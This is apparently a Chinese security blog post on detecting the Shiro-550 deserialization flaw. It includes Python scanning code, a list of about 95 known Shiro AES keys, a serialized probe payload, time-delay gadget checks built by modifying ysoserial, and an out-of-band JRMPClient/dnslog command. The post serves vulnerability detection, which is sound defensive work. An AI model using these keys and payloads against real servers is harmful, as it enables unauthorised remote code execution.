Shiro反序列化漏洞笔记二(检测篇)

0x1 前言

在前面原理篇最后提到过Shiro-550反序列化漏洞的一个关键点在于AES加密的密钥。除了密钥之外,Shiro反序列化漏洞的检测还有很多需要关注的点,这篇笔记就Shiro反序列化漏洞的检测展开记录。整体的检测流程如下:

0x2 Shiro的识别

检测应用是否存在Shiro反序列化漏洞的第一步就是先检测是否应用是否试用了Shiro。首先最直观的可以先看登录页面是否存在记住我功能,其次可以抓取数据包看响应包的头部是否存在Set-Cookie: rememberMe=deleteMe。但是这样子很容易遗漏,最稳妥的方法应该是先在请求的Cookie添加rememberMe=xxx,然后看响应是否返回Set-Cookie: rememberMe=deleteMe。

如果是平常安全测试的话可以在Burp Suite实现经过代理的每个数据包中自动添加测试Cookie,再观察返回包信息判断是否使用了Shiro框架。也可以通过写Burp Suite插件的方式实现更方便的检测。

前段时间造轮子写了一个简单的漏洞扫描平台,后来不忍直视基本就弃坑了。就借这个平台重新写一下Shiro反序列化漏洞检测的插件吧。

按照检测思路,先判断是否试用Shiro,是的话进入检测代码,不是的话直接退出检测。

1
2
3
4
5
response = requests.get(target, cookies={'rememberMe': 'check'})
if 'Set-Cookie' in response.headers.keys() and 'rememberMe=deleteMe' in response.headers['Set-Cookie']: #检测是否使用Shiro
/*Shiro反序列化漏洞检测*/
else:
/*不存在Shiro反序列化漏洞,退出*/

0x3 漏洞检测

进入正式的漏洞检测,对于Shiro反序列化漏洞,最关键的两个因素是:AES加密的密钥以及gadget,即可用的漏洞调用链。但是,为了实现较高的漏洞检出率和较低的误报率,实际的漏洞检测过程中往往需要考虑很多因素,比如是否可达外网等。

AES加密的密钥

首先来看一下AES加密的密钥,除了AES默认的加密密钥之外,还有一些从互联网上爬取的常用Key。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
3qDVdLawoIr1xFd6ietnwg==
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==

在一开始的Shiro反序列化漏洞检测中,因为AES加密的密钥和gadget都是未知的,在测试过程中就需要对AES的密钥Key和gadget进行遍历尝试,如果存在100个可能的Key,以及8个可能的gadget,那可能需要尝试发送大约800多次请求去检测漏洞,加上不确认目标环境是否可出网,在目标环境不出网的情况下,在进行漏洞探测时应该执行什么命令,以及操作系统不确定等问题使得漏洞检测就更加复杂了。

后面有大佬发现可以通过构造特定的反序列化payload使得在AES的密钥正确的情况下使得相应包头部不返回rememberMe=deleteMe。这就意味着对于每一个密钥,我们只需要构造发送一个数据包即可确认当前密钥是否正确,这样可以大大提高效率和漏洞的检出率。密钥确认的话,基本上就可以确认存在漏洞了,后面无非就是去检测存在哪些gadget的问题。如果密钥跑完都没有结果的话也就无需浪费时间去检测哪个gadget可用了。
参考:
https://sec-in.com/article/468

http://www.lmxspace.com/2020/08/24/一种另类的shiro检测方式/

通过构造一个继承 PrincipalCollection 的序列化空对象,base64编码之后的结果如下:

1
get_key_b64 = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="

当AES的密钥正确时不返回rememberMe=deleteMe,这里需要注意的是需要考虑到相应包的头部存在和不存在Set-Cookie两种情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for shiro_key in shiro_keys:
rememberMe_value = shiro_aes(get_key_b64, shiro_key) #检测Shiro AES加密的key
try:
response = requests.get(target, cookies={'rememberMe': rememberMe_value})
if 'Set-Cookie' in response.headers.keys() and 'rememberMe' not in response.headers['Set-Cookie']:
shiro_key_right = shiro_key
print "存在Shiro反序列化漏洞"
print "key found: " + shiro_key
break
elif 'Set-Cookie' not in response.headers.keys():
shiro_key_right = shiro_key
print "存在Shiro反序列化漏洞"
print "key found: " + shiro_key
break
except:
pass

可用的gadget

确定AES加密的密钥后,后面就是进一步确定可用的gadget。对于gadget的检测,我们需要把目标环境是否可以出外网纳入需要考虑的因素。对应的可以把 ysoserial 中的gadget分为两类:需要出外网的和不需要出外网的。通常情况下需要出外网的如:URLDNS、JRMPClient、C3P0等,不需要出外网可直接执行命令的如CommonBeanutils1、CommonsCollections1-7、Jdk7u21等(当然这些也可以通过执行ping、wget等命令发起网络请求)。

对于可以出网的环境的检测是最简单的,所以在gadget检测时可以先尝试URLDNS判断目标环境是否可以出网,因为URLDNS不依赖于任何的第三方库,但是使用URLDNS检测后DNSLOG平台存在DNS记录并不完全等同于可以出外网,还有可能是目标只支持DNS解析,但是TCP协议等是不能出外网的。其次,可以通过CommonBeanutils1等其他gadget执行wget或者curl命令,这里需要考虑操作系统情况,Windows则是certutil等命令。

也可以实现通过构造回显的方法进行漏洞检测,但是实现回显需要考虑不同中间件及版本等问题,还是不够通用,很容易造成漏报。那么有没有更通用的漏洞检测方法呢,答案肯定是有的。我们可以使用时间延迟的方法来判断哪个gadget可用。借用时间延迟检测我们不需要考虑目标是否可以出网,也不需要考虑操作系统等问题。

如果需要实现时间延迟检测,需要先对ysoserial进行简单修改,加入时间延迟的payload。修改ysoserial里面的payload可以分为两种情况,一种是使用了createTemplatesImplTime链的,如CommonsBeanutils1,直接在Gadgets类中新增createTemplatesImplTime方法。

然后新建一个CommonsBeanutils1_Time类,将原来的CommonsBeanutils1代码中的createTemplatesTmpl修改为createTemplatesImplTime方法。

对于不使用createTemplatesImplTime链的,则需要另外单独一个个修改了,如CommonsCollections1。

请求延迟10秒测试:

为了降低网络不稳定带来的误报,在如何判断是否产生时间延迟上,我借鉴了sqlmap时间盲注的思路。

大体检测流程如下:
• 执行30次原始请求,记录响应时间
• 计算30次请求响应时间的标准差及平均差
• 根据标准差和时间差计算最慢响应时间
• 如果响应时间比最难响应时间要大则可以判断为产生了时间延迟,否则没有产生时间延迟
• 执行三次请求减少误报,第一次请求提交为延迟5秒的payload,第二次请求为延迟0秒的payload,第三次请求为延迟5秒的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
lowerStdLimit = average(responseTimes) + 7 * stdev(responseTimes)
MIN_VALID_DELAYED_RESPONSE = 0.5

for payload in payloads: #时间延迟检测,三次检测,减少误报
rememberMe_value1 = time_sleep_poc(shiro_key, payload, 5000)
rememberMe_value2 = time_sleep_poc(shiro_key, payload, 0)
try:
time1 = resp_time(target, rememberMe_value1)
if time1 and time1 >= max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit):
time2 = resp_time(target, rememberMe_value2)
if time2 and time2 < max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit):
time3 = resp_time(target, rememberMe_value1)
if time3 and time3 >= max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit):
print "payload found: " + payload
print "Cookie: " + "rememberMe=" + rememberMe_value1
print "*" * 100

except Exception as e:
print e

理论上,使用前面的检测方法应该能覆盖到大部分的场景了,但是其实还需要考虑一种情况。在Shiro反序列化漏洞中直接使用CommonCollections3、5、6、7链时会出现无法加载数组类问题,需要借助JRMPClient。同时在前面URLDNS的检测中也提到过检测目标环境是否通外网的问题,URLDNS只能证明支持DNS解析,在目标环境没有使用高版本JDK限制JNDI注入且可以出网的情况下,我们可以使用JRMPClient判断目标是否可以出外网,同时也可以解决CommonCollections链的坑。因此在检测中考虑也把JRMPClient加上。加入JRMPClient后在想怎样获取这个payload是否成功向VPS发起了连接。一开始想的是用java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient ‘xxx.dnslog.cn’这样子的方式去触发DNS查询,然后再去DNSLOG平台取结果,但是这种方式会遗漏目标不支持DNS解析,但是可以出外网的情况。后来想到了一种“投机取巧”的方法,可以直接修改ysoserial,使得JRMPClient向VPS的JRMPClient发起连接时,让VPS去向DNSLOG发起请求,然后再去DNSLOG平台取结果就可以了。

至此,一个还算比较靠谱的Shiro反序列化漏洞检测脚本就完成了。

0x4 总结

简单总结一下,在漏洞检测中需要达成的重要目标无非就是较高的漏洞检出率和较低的误报率。而需要达成这两个目标的过程就要尽可能的想到各种可能的情况。要实现较高的漏洞检出率,在检测过程中我们需要确保检测的POC尽可能通用,如不受操作系统影响,不受目标是否可否可通外网影响等,另外通过先对Shiro AES加密的密钥先进行检测减少了很大的不确定性,极大的提高了漏洞检测的准确率。在误报率方面,比如在进行时间延迟检测时采用三次发包减少因网络延迟等原因造成的误报,以及在使用DNSLOG时可以引入随机或者重复率低的特定字符串来进行检测。